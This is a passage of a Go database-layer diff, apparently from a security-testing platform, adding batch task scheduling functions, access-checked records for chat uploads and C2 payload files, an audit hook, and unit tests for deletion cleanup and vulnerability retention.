|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// UpdateBatchTaskStatus 更新批量任务状态
|
||||||
|
func (db *DB) UpdateBatchTaskStatus(queueID, taskID, status string, conversationID, result, errorMsg string) error {
|
||||||
|
var err error
|
||||||
|
now := time.Now()
|
||||||
|
|
||||||
|
// 构建更新语句
|
||||||
|
var updates []string
|
||||||
|
var args []interface{}
|
||||||
|
|
||||||
|
updates = append(updates, "status = ?")
|
||||||
|
args = append(args, status)
|
||||||
|
|
||||||
|
if conversationID != "" {
|
||||||
|
updates = append(updates, "conversation_id = ?")
|
||||||
|
args = append(args, conversationID)
|
||||||
|
}
|
||||||
|
|
||||||
|
if result != "" {
|
||||||
|
updates = append(updates, "result = ?")
|
||||||
|
args = append(args, result)
|
||||||
|
}
|
||||||
|
|
||||||
|
if errorMsg != "" {
|
||||||
|
updates = append(updates, "error = ?")
|
||||||
|
args = append(args, errorMsg)
|
||||||
|
}
|
||||||
|
|
||||||
|
if status == "running" {
|
||||||
|
updates = append(updates, "started_at = COALESCE(started_at, ?)")
|
||||||
|
args = append(args, now)
|
||||||
|
}
|
||||||
|
|
||||||
|
if status == "completed" || status == "failed" || status == "cancelled" {
|
||||||
|
updates = append(updates, "completed_at = COALESCE(completed_at, ?)")
|
||||||
|
args = append(args, now)
|
||||||
|
}
|
||||||
|
|
||||||
|
args = append(args, queueID, taskID)
|
||||||
|
|
||||||
|
// 构建SQL语句
|
||||||
|
sql := "UPDATE batch_tasks SET "
|
||||||
|
for i, update := range updates {
|
||||||
|
if i > 0 {
|
||||||
|
sql += ", "
|
||||||
|
}
|
||||||
|
sql += update
|
||||||
|
}
|
||||||
|
sql += " WHERE queue_id = ? AND id = ?"
|
||||||
|
|
||||||
|
_, err = db.Exec(sql, args...)
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("更新批量任务状态失败: %w", err)
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// UpdateBatchQueueCurrentIndex 更新批量任务队列的当前索引
|
||||||
|
func (db *DB) UpdateBatchQueueCurrentIndex(queueID string, currentIndex int) error {
|
||||||
|
_, err := db.Exec(
|
||||||
|
"UPDATE batch_task_queues SET current_index = ? WHERE id = ?",
|
||||||
|
currentIndex, queueID,
|
||||||
|
)
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("更新批量任务队列当前索引失败: %w", err)
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// UpdateBatchQueueMetadata 更新批量任务队列标题、角色、代理模式和并发数
|
||||||
|
func (db *DB) UpdateBatchQueueMetadata(queueID, title, role, agentMode string, concurrency int) error {
|
||||||
|
_, err := db.Exec(
|
||||||
|
"UPDATE batch_task_queues SET title = ?, role = ?, agent_mode = ?, concurrency = ? WHERE id = ?",
|
||||||
|
title, role, agentMode, concurrency, queueID,
|
||||||
|
)
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("更新批量任务队列元数据失败: %w", err)
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// UpdateBatchQueueSchedule 更新批量任务队列调度相关信息
|
||||||
|
func (db *DB) UpdateBatchQueueSchedule(queueID, scheduleMode, cronExpr string, nextRunAt *time.Time) error {
|
||||||
|
var nextRunAtValue interface{}
|
||||||
|
if nextRunAt != nil {
|
||||||
|
nextRunAtValue = *nextRunAt
|
||||||
|
}
|
||||||
|
_, err := db.Exec(
|
||||||
|
"UPDATE batch_task_queues SET schedule_mode = ?, cron_expr = ?, next_run_at = ? WHERE id = ?",
|
||||||
|
scheduleMode, cronExpr, nextRunAtValue, queueID,
|
||||||
|
)
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("更新批量任务调度配置失败: %w", err)
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// UpdateBatchQueueScheduleEnabled 是否允许 Cron 自动触发(手工「开始执行」不受影响)
|
||||||
|
func (db *DB) UpdateBatchQueueScheduleEnabled(queueID string, enabled bool) error {
|
||||||
|
v := 0
|
||||||
|
if enabled {
|
||||||
|
v = 1
|
||||||
|
}
|
||||||
|
_, err := db.Exec(
|
||||||
|
"UPDATE batch_task_queues SET schedule_enabled = ? WHERE id = ?",
|
||||||
|
v, queueID,
|
||||||
|
)
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("更新批量任务调度开关失败: %w", err)
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// RecordBatchQueueScheduledTriggerStart 记录一次由调度触发的开始时间并清空调度层错误
|
||||||
|
func (db *DB) RecordBatchQueueScheduledTriggerStart(queueID string, at time.Time) error {
|
||||||
|
_, err := db.Exec(
|
||||||
|
"UPDATE batch_task_queues SET last_schedule_trigger_at = ?, last_schedule_error = NULL WHERE id = ?",
|
||||||
|
at, queueID,
|
||||||
|
)
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("记录调度触发时间失败: %w", err)
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// SetBatchQueueLastScheduleError 调度启动失败等原因(如状态不允许、重置失败)
|
||||||
|
func (db *DB) SetBatchQueueLastScheduleError(queueID, msg string) error {
|
||||||
|
_, err := db.Exec(
|
||||||
|
"UPDATE batch_task_queues SET last_schedule_error = ? WHERE id = ?",
|
||||||
|
msg, queueID,
|
||||||
|
)
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("写入调度错误信息失败: %w", err)
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// SetBatchQueueLastRunError 最近一轮执行中出现的子任务失败摘要(空串表示清空)
|
||||||
|
func (db *DB) SetBatchQueueLastRunError(queueID, msg string) error {
|
||||||
|
var v interface{}
|
||||||
|
if strings.TrimSpace(msg) == "" {
|
||||||
|
v = nil
|
||||||
|
} else {
|
||||||
|
v = msg
|
||||||
|
}
|
||||||
|
_, err := db.Exec(
|
||||||
|
"UPDATE batch_task_queues SET last_run_error = ? WHERE id = ?",
|
||||||
|
v, queueID,
|
||||||
|
)
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("写入最近运行错误失败: %w", err)
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// ResetBatchQueueForRerun 重置队列和任务状态用于下一轮调度执行
|
||||||
|
func (db *DB) ResetBatchQueueForRerun(queueID string) error {
|
||||||
|
tx, err := db.Begin()
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("开始事务失败: %w", err)
|
||||||
|
}
|
||||||
|
defer tx.Rollback()
|
||||||
|
|
||||||
|
_, err = tx.Exec(
|
||||||
|
"UPDATE batch_task_queues SET status = ?, current_index = 0, started_at = NULL, completed_at = NULL, last_run_error = NULL, last_schedule_error = NULL WHERE id = ?",
|
||||||
|
"pending", queueID,
|
||||||
|
)
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("重置批量任务队列状态失败: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
_, err = tx.Exec(
|
||||||
|
"UPDATE batch_tasks SET status = ?, conversation_id = NULL, started_at = NULL, completed_at = NULL, error = NULL, result = NULL WHERE queue_id = ?",
|
||||||
|
"pending", queueID,
|
||||||
|
)
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("重置批量任务状态失败: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
return tx.Commit()
|
||||||
|
}
|
||||||
|
|
||||||
|
// UpdateBatchTaskMessage 更新批量任务消息
|
||||||
|
func (db *DB) UpdateBatchTaskMessage(queueID, taskID, message string) error {
|
||||||
|
_, err := db.Exec(
|
||||||
|
"UPDATE batch_tasks SET message = ? WHERE queue_id = ? AND id = ?",
|
||||||
|
message, queueID, taskID,
|
||||||
|
)
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("更新批量任务消息失败: %w", err)
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// AddBatchTask 添加任务到批量任务队列
|
||||||
|
func (db *DB) AddBatchTask(queueID, taskID, message string) error {
|
||||||
|
_, err := db.Exec(
|
||||||
|
"INSERT INTO batch_tasks (id, queue_id, message, status) VALUES (?, ?, ?, ?)",
|
||||||
|
taskID, queueID, message, "pending",
|
||||||
|
)
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("添加批量任务失败: %w", err)
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// CancelPendingBatchTasks 批量取消队列中所有 pending 状态的任务(单条 SQL)
|
||||||
|
func (db *DB) CancelPendingBatchTasks(queueID string, completedAt time.Time) error {
|
||||||
|
_, err := db.Exec(
|
||||||
|
"UPDATE batch_tasks SET status = ?, completed_at = ? WHERE queue_id = ? AND status = ?",
|
||||||
|
"cancelled", completedAt, queueID, "pending",
|
||||||
|
)
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("批量取消 pending 任务失败: %w", err)
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// PrepareBatchSingleTaskRun 准备单条执行:可选重置子任务,并更新队列索引与状态
|
||||||
|
func (db *DB) PrepareBatchSingleTaskRun(queueID, taskID string, taskIndex int, resetTask, resumeQueue bool) error {
|
||||||
|
tx, err := db.Begin()
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("开始事务失败: %w", err)
|
||||||
|
}
|
||||||
|
defer tx.Rollback()
|
||||||
|
|
||||||
|
if resetTask {
|
||||||
|
_, err = tx.Exec(
|
||||||
|
"UPDATE batch_tasks SET status = ?, conversation_id = NULL, started_at = NULL, completed_at = NULL, error = NULL, result = NULL WHERE queue_id = ? AND id = ?",
|
||||||
|
"pending", queueID, taskID,
|
||||||
|
)
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("重置批量任务状态失败: %w", err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if resumeQueue {
|
||||||
|
_, err = tx.Exec(
|
||||||
|
"UPDATE batch_task_queues SET status = ?, current_index = ?, completed_at = NULL, last_run_error = NULL WHERE id = ?",
|
||||||
|
"paused", taskIndex, queueID,
|
||||||
|
)
|
||||||
|
} else {
|
||||||
|
_, err = tx.Exec(
|
||||||
|
"UPDATE batch_task_queues SET current_index = ?, last_run_error = NULL WHERE id = ?",
|
||||||
|
taskIndex, queueID,
|
||||||
|
)
|
||||||
|
}
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("更新批量任务队列状态失败: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
return tx.Commit()
|
||||||
|
}
|
||||||
|
|
||||||
|
// DeleteBatchTask 删除批量任务
|
||||||
|
func (db *DB) DeleteBatchTask(queueID, taskID string) error {
|
||||||
|
_, err := db.Exec(
|
||||||
|
"DELETE FROM batch_tasks WHERE queue_id = ? AND id = ?",
|
||||||
|
queueID, taskID,
|
||||||
|
)
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("删除批量任务失败: %w", err)
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// DeleteBatchQueue 删除批量任务队列
|
||||||
|
func (db *DB) DeleteBatchQueue(queueID string) error {
|
||||||
|
tx, err := db.Begin()
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("开始事务失败: %w", err)
|
||||||
|
}
|
||||||
|
defer tx.Rollback()
|
||||||
|
|
||||||
|
// 删除任务(外键会自动级联删除)
|
||||||
|
_, err = tx.Exec("DELETE FROM batch_tasks WHERE queue_id = ?", queueID)
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("删除批量任务失败: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 删除队列
|
||||||
|
_, err = tx.Exec("DELETE FROM batch_task_queues WHERE id = ?", queueID)
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("删除批量任务队列失败: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
return tx.Commit()
|
||||||
|
}
|
||||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,30 @@
|
|||||||
|
package database
|
||||||
|
|
||||||
|
import (
|
||||||
|
"strings"
|
||||||
|
"time"
|
||||||
|
)
|
||||||
|
|
||||||
|
func (db *DB) RecordC2PayloadArtifact(filename, payloadID, listenerID, ownerUserID string) error {
|
||||||
|
filename = strings.TrimSpace(filename)
|
||||||
|
if filename == "" || strings.TrimSpace(listenerID) == "" || strings.TrimSpace(ownerUserID) == "" {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
_, err := db.Exec(`
|
||||||
|
INSERT INTO c2_payload_artifacts(filename, payload_id, listener_id, owner_user_id, created_at)
|
||||||
|
VALUES (?, ?, ?, ?, ?)
|
||||||
|
ON CONFLICT(filename) DO UPDATE SET payload_id=excluded.payload_id, listener_id=excluded.listener_id, owner_user_id=excluded.owner_user_id, created_at=excluded.created_at
|
||||||
|
`, filename, payloadID, listenerID, ownerUserID, time.Now())
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
|
func (db *DB) UserCanAccessC2Payload(userID, scope, filename string) bool {
|
||||||
|
if scope == RBACScopeAll {
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
var listenerID, ownerUserID string
|
||||||
|
if err := db.QueryRow(`SELECT listener_id, owner_user_id FROM c2_payload_artifacts WHERE filename = ?`, strings.TrimSpace(filename)).Scan(&listenerID, &ownerUserID); err != nil {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
return ownerUserID == strings.TrimSpace(userID) || db.UserCanAccessResource(userID, scope, "c2_listener", listenerID)
|
||||||
|
}
|
||||||
@@ -0,0 +1,56 @@
|
|||||||
|
package database
|
||||||
|
|
||||||
|
import (
|
||||||
|
"strings"
|
||||||
|
"time"
|
||||||
|
)
|
||||||
|
|
||||||
|
func (db *DB) UpsertChatUploadArtifact(relativePath, conversationID, ownerUserID string) error {
|
||||||
|
relativePath = strings.TrimSpace(relativePath)
|
||||||
|
conversationID = strings.TrimSpace(conversationID)
|
||||||
|
ownerUserID = strings.TrimSpace(ownerUserID)
|
||||||
|
if relativePath == "" || conversationID == "" || ownerUserID == "" {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
_, err := db.Exec(`
|
||||||
|
INSERT INTO chat_upload_artifacts(relative_path, conversation_id, owner_user_id, created_at)
|
||||||
|
VALUES (?, ?, ?, ?)
|
||||||
|
ON CONFLICT(relative_path) DO UPDATE SET conversation_id=excluded.conversation_id, owner_user_id=excluded.owner_user_id
|
||||||
|
`, relativePath, conversationID, ownerUserID, time.Now())
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
|
func (db *DB) GetChatUploadArtifact(relativePath string) (conversationID, ownerUserID string, ok bool) {
|
||||||
|
err := db.QueryRow(`SELECT conversation_id, owner_user_id FROM chat_upload_artifacts WHERE relative_path = ?`, strings.TrimSpace(relativePath)).Scan(&conversationID, &ownerUserID)
|
||||||
|
return conversationID, ownerUserID, err == nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (db *DB) DeleteChatUploadArtifactPath(relativePath string) error {
|
||||||
|
path := strings.Trim(strings.TrimSpace(relativePath), "/")
|
||||||
|
if path == "" {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
_, err := db.Exec(`DELETE FROM chat_upload_artifacts WHERE relative_path = ? OR relative_path LIKE ? ESCAPE '\'`, path, escapeLikePrefix(path)+"/%")
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
|
func (db *DB) RenameChatUploadArtifactPath(oldPath, newPath string) error {
|
||||||
|
oldPath = strings.Trim(strings.TrimSpace(oldPath), "/")
|
||||||
|
newPath = strings.Trim(strings.TrimSpace(newPath), "/")
|
||||||
|
if oldPath == "" || newPath == "" {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
_, err := db.Exec(`
|
||||||
|
UPDATE chat_upload_artifacts
|
||||||
|
SET relative_path = CASE
|
||||||
|
WHEN relative_path = ? THEN ?
|
||||||
|
ELSE ? || substr(relative_path, length(?) + 1)
|
||||||
|
END
|
||||||
|
WHERE relative_path = ? OR relative_path LIKE ? ESCAPE '\'
|
||||||
|
`, oldPath, newPath, newPath, oldPath, oldPath, escapeLikePrefix(oldPath)+"/%")
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
|
func escapeLikePrefix(value string) string {
|
||||||
|
return strings.NewReplacer(`\`, `\\`, `%`, `\%`, `_`, `\_`).Replace(value)
|
||||||
|
}
|
||||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,108 @@
|
|||||||
|
package database
|
||||||
|
|
||||||
|
import (
|
||||||
|
"os"
|
||||||
|
"path/filepath"
|
||||||
|
"testing"
|
||||||
|
|
||||||
|
"go.uber.org/zap"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestDeleteConversationRemovesEinoScopedDirs(t *testing.T) {
|
||||||
|
tmp := t.TempDir()
|
||||||
|
dbPath := filepath.Join(tmp, "conversations.db")
|
||||||
|
db, err := NewDB(dbPath, zap.NewNop())
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("NewDB: %v", err)
|
||||||
|
}
|
||||||
|
defer db.Close()
|
||||||
|
|
||||||
|
plantaskBase := filepath.Join(tmp, "skills", ".eino", "plantask")
|
||||||
|
checkpointBase := filepath.Join(tmp, "eino-checkpoints")
|
||||||
|
reductionBase := filepath.Join(tmp, "reduction")
|
||||||
|
workspaceBase := filepath.Join(tmp, "workspace")
|
||||||
|
db.SetEinoConversationDirs(plantaskBase, checkpointBase, reductionBase, workspaceBase)
|
||||||
|
|
||||||
|
conv, err := db.CreateConversation("cleanup test", ConversationCreateMeta{})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("CreateConversation: %v", err)
|
||||||
|
}
|
||||||
|
convID := conv.ID
|
||||||
|
seg := sanitizeConversationPathSegment(convID)
|
||||||
|
for _, base := range []struct {
|
||||||
|
root string
|
||||||
|
file string
|
||||||
|
}{
|
||||||
|
{db.conversationArtifactsDir, "transcript.txt"},
|
||||||
|
{plantaskBase, "task-1.json"},
|
||||||
|
{checkpointBase, "runner-deep.ckpt"},
|
||||||
|
{filepath.Join(reductionBase, "conversations"), "tool-output.txt"},
|
||||||
|
{filepath.Join(workspaceBase, "conversations"), "page.html"},
|
||||||
|
} {
|
||||||
|
dir := filepath.Join(base.root, seg)
|
||||||
|
if err := os.MkdirAll(dir, 0o755); err != nil {
|
||||||
|
t.Fatalf("mkdir %s: %v", dir, err)
|
||||||
|
}
|
||||||
|
if err := os.WriteFile(filepath.Join(dir, base.file), []byte("x"), 0o644); err != nil {
|
||||||
|
t.Fatalf("write %s: %v", base.file, err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if err := db.DeleteConversation(convID); err != nil {
|
||||||
|
t.Fatalf("DeleteConversation: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, base := range []string{db.conversationArtifactsDir, plantaskBase, checkpointBase, filepath.Join(reductionBase, "conversations"), filepath.Join(workspaceBase, "conversations")} {
|
||||||
|
dir := filepath.Join(base, seg)
|
||||||
|
if _, statErr := os.Stat(dir); !os.IsNotExist(statErr) {
|
||||||
|
t.Fatalf("expected removed dir %s, stat err=%v", dir, statErr)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestDeleteProjectRemovesReductionDir(t *testing.T) {
|
||||||
|
tmp := t.TempDir()
|
||||||
|
dbPath := filepath.Join(tmp, "conversations.db")
|
||||||
|
db, err := NewDB(dbPath, zap.NewNop())
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("NewDB: %v", err)
|
||||||
|
}
|
||||||
|
defer db.Close()
|
||||||
|
|
||||||
|
reductionBase := filepath.Join(tmp, "reduction")
|
||||||
|
workspaceBase := filepath.Join(tmp, "workspace")
|
||||||
|
db.SetEinoConversationDirs("", "", reductionBase, workspaceBase)
|
||||||
|
|
||||||
|
project, err := db.CreateProject(&Project{Name: "cleanup test"})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("CreateProject: %v", err)
|
||||||
|
}
|
||||||
|
seg := sanitizeConversationPathSegment(project.ID)
|
||||||
|
reductionDir := filepath.Join(reductionBase, "projects", seg, "clear")
|
||||||
|
if err := os.MkdirAll(reductionDir, 0o755); err != nil {
|
||||||
|
t.Fatalf("mkdir %s: %v", reductionDir, err)
|
||||||
|
}
|
||||||
|
if err := os.WriteFile(filepath.Join(reductionDir, "call-1.txt"), []byte("x"), 0o644); err != nil {
|
||||||
|
t.Fatalf("write: %v", err)
|
||||||
|
}
|
||||||
|
workspaceDir := filepath.Join(workspaceBase, "projects", seg, "downloads")
|
||||||
|
if err := os.MkdirAll(workspaceDir, 0o755); err != nil {
|
||||||
|
t.Fatalf("mkdir %s: %v", workspaceDir, err)
|
||||||
|
}
|
||||||
|
if err := os.WriteFile(filepath.Join(workspaceDir, "app.js"), []byte("x"), 0o644); err != nil {
|
||||||
|
t.Fatalf("write workspace: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
if err := db.DeleteProject(project.ID); err != nil {
|
||||||
|
t.Fatalf("DeleteProject: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
projectReductionDir := filepath.Join(reductionBase, "projects", seg)
|
||||||
|
if _, statErr := os.Stat(projectReductionDir); !os.IsNotExist(statErr) {
|
||||||
|
t.Fatalf("expected removed dir %s, stat err=%v", projectReductionDir, statErr)
|
||||||
|
}
|
||||||
|
projectWorkspaceDir := filepath.Join(workspaceBase, "projects", seg)
|
||||||
|
if _, statErr := os.Stat(projectWorkspaceDir); !os.IsNotExist(statErr) {
|
||||||
|
t.Fatalf("expected removed dir %s, stat err=%v", projectWorkspaceDir, statErr)
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,32 @@
|
|||||||
|
package database
|
||||||
|
|
||||||
|
// ConversationCreateMeta describes how a conversation was created (for audit hooks).
|
||||||
|
type ConversationCreateMeta struct {
|
||||||
|
Source string
|
||||||
|
WebShellConnectionID string
|
||||||
|
ProjectID string
|
||||||
|
RoleName string
|
||||||
|
AgentMode string
|
||||||
|
ClientIP string
|
||||||
|
SessionHint string
|
||||||
|
}
|
||||||
|
|
||||||
|
// ConversationCreateHook is invoked after a conversation row is inserted.
|
||||||
|
type ConversationCreateHook func(conv *Conversation, meta ConversationCreateMeta)
|
||||||
|
|
||||||
|
var conversationCreateHook ConversationCreateHook
|
||||||
|
|
||||||
|
// SetConversationCreateHook registers a global hook (e.g. platform audit).
|
||||||
|
func SetConversationCreateHook(h ConversationCreateHook) {
|
||||||
|
conversationCreateHook = h
|
||||||
|
}
|
||||||
|
|
||||||
|
func notifyConversationCreated(conv *Conversation, meta ConversationCreateMeta) {
|
||||||
|
if conversationCreateHook == nil || conv == nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if meta.Source == "" {
|
||||||
|
meta.Source = "unknown"
|
||||||
|
}
|
||||||
|
conversationCreateHook(conv, meta)
|
||||||
|
}
|
||||||
@@ -0,0 +1,60 @@
|
|||||||
|
package database
|
||||||
|
|
||||||
|
import (
|
||||||
|
"path/filepath"
|
||||||
|
"testing"
|
||||||
|
|
||||||
|
"go.uber.org/zap"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestConversationProjectFilter(t *testing.T) {
|
||||||
|
tmp := t.TempDir()
|
||||||
|
dbPath := filepath.Join(tmp, "conversations.db")
|
||||||
|
db, err := NewDB(dbPath, zap.NewNop())
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("NewDB: %v", err)
|
||||||
|
}
|
||||||
|
defer db.Close()
|
||||||
|
|
||||||
|
p, err := db.CreateProject(&Project{Name: "target-a", Status: "active"})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("CreateProject: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
convNone, err := db.CreateConversation("unbound", ConversationCreateMeta{})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("CreateConversation unbound: %v", err)
|
||||||
|
}
|
||||||
|
convBound, err := db.CreateConversation("bound", ConversationCreateMeta{ProjectID: p.ID})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("CreateConversation bound: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
totalAll, err := db.CountConversations("", "")
|
||||||
|
if err != nil || totalAll < 2 {
|
||||||
|
t.Fatalf("CountConversations all: total=%d err=%v", totalAll, err)
|
||||||
|
}
|
||||||
|
|
||||||
|
totalBound, err := db.CountConversations("", p.ID)
|
||||||
|
if err != nil || totalBound != 1 {
|
||||||
|
t.Fatalf("CountConversations project: total=%d err=%v", totalBound, err)
|
||||||
|
}
|
||||||
|
|
||||||
|
totalUnbound, err := db.CountConversations("", ProjectFilterUnbound)
|
||||||
|
if err != nil || totalUnbound != 1 {
|
||||||
|
t.Fatalf("CountConversations unbound: total=%d err=%v", totalUnbound, err)
|
||||||
|
}
|
||||||
|
|
||||||
|
listBound, err := db.ListConversations(10, 0, "", "", p.ID)
|
||||||
|
if err != nil || len(listBound) != 1 || listBound[0].ID != convBound.ID {
|
||||||
|
t.Fatalf("ListConversations project: %+v err=%v", listBound, err)
|
||||||
|
}
|
||||||
|
|
||||||
|
listUnbound, err := db.ListConversations(10, 0, "", "", ProjectFilterUnbound)
|
||||||
|
if err != nil || len(listUnbound) != 1 || listUnbound[0].ID != convNone.ID {
|
||||||
|
t.Fatalf("ListConversations unbound: %+v err=%v", listUnbound, err)
|
||||||
|
}
|
||||||
|
|
||||||
|
_ = convNone
|
||||||
|
_ = convBound
|
||||||
|
}
|
||||||
@@ -0,0 +1,39 @@
|
|||||||
|
package database
|
||||||
|
|
||||||
|
import (
|
||||||
|
"testing"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestTurnSliceRange(t *testing.T) {
|
||||||
|
mk := func(id, role string) Message {
|
||||||
|
return Message{ID: id, Role: role}
|
||||||
|
}
|
||||||
|
msgs := []Message{
|
||||||
|
mk("u1", "user"),
|
||||||
|
mk("a1", "assistant"),
|
||||||
|
mk("u2", "user"),
|
||||||
|
mk("a2", "assistant"),
|
||||||
|
}
|
||||||
|
cases := []struct {
|
||||||
|
anchor string
|
||||||
|
start int
|
||||||
|
end int
|
||||||
|
}{
|
||||||
|
{"u1", 0, 2},
|
||||||
|
{"a1", 0, 2},
|
||||||
|
{"u2", 2, 4},
|
||||||
|
{"a2", 2, 4},
|
||||||
|
}
|
||||||
|
for _, tc := range cases {
|
||||||
|
s, e, err := turnSliceRange(msgs, tc.anchor)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("anchor %s: %v", tc.anchor, err)
|
||||||
|
}
|
||||||
|
if s != tc.start || e != tc.end {
|
||||||
|
t.Fatalf("anchor %s: got [%d,%d) want [%d,%d)", tc.anchor, s, e, tc.start, tc.end)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if _, _, err := turnSliceRange(msgs, "nope"); err == nil {
|
||||||
|
t.Fatal("expected error for missing id")
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,69 @@
|
|||||||
|
package database
|
||||||
|
|
||||||
|
import (
|
||||||
|
"path/filepath"
|
||||||
|
"testing"
|
||||||
|
|
||||||
|
"go.uber.org/zap"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestDeleteConversationPreservesVulnerabilities(t *testing.T) {
|
||||||
|
tmp := t.TempDir()
|
||||||
|
dbPath := filepath.Join(tmp, "vuln-preserve.db")
|
||||||
|
db, err := NewDB(dbPath, zap.NewNop())
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("NewDB: %v", err)
|
||||||
|
}
|
||||||
|
defer db.Close()
|
||||||
|
|
||||||
|
conv, err := db.CreateConversation("vuln source chat", ConversationCreateMeta{})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("CreateConversation: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
vuln, err := db.CreateVulnerability(&Vulnerability{
|
||||||
|
ConversationID: conv.ID,
|
||||||
|
Title: "SQL Injection",
|
||||||
|
Severity: "high",
|
||||||
|
Status: "open",
|
||||||
|
})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("CreateVulnerability: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
if err := db.DeleteConversation(conv.ID); err != nil {
|
||||||
|
t.Fatalf("DeleteConversation: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
got, err := db.GetVulnerability(vuln.ID)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("GetVulnerability after delete: %v", err)
|
||||||
|
}
|
||||||
|
if got.Title != "SQL Injection" {
|
||||||
|
t.Fatalf("title = %q, want SQL Injection", got.Title)
|
||||||
|
}
|
||||||
|
if got.ConversationID != "" {
|
||||||
|
t.Fatalf("conversation_id = %q, want empty after conversation delete", got.ConversationID)
|
||||||
|
}
|
||||||
|
if got.ConversationTag != "vuln source chat" {
|
||||||
|
t.Fatalf("conversation_tag = %q, want vuln source chat", got.ConversationTag)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestMigrateVulnerabilitiesConversationFK(t *testing.T) {
|
||||||
|
tmp := t.TempDir()
|
||||||
|
dbPath := filepath.Join(tmp, "vuln-fk-migrate.db")
|
||||||
|
db, err := NewDB(dbPath, zap.NewNop())
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("NewDB: %v", err)
|
||||||
|
}
|
||||||
|
defer db.Close()
|
||||||
|
|
